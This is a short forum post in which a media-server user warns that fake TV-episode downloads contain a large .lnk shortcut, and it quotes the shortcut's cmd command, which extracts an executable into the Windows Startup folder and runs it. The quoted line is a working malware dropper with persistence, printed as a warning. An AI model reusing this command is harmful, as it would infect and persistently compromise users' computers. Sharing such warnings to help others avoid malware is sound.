I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I’ve gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:
%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c=“%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP%Username%.exe”&(If not exist !c! Findstr/v “cmd.EXE Rj%TIME:7,1%%TIME:-2%” !el!.Lnk>!c!&Start “” !c!)&CD %tmp%&Echo.>!
As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it’s in your startup folder, it will run again every time you reboot.
The tracker is theRARBG, but it could also come from elsewhere. I’ve found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.
Be careful!
You laugh in Linux now, but just wait until the year of the Linux desktop comes. Every malware developer on earth will be knocking on our door.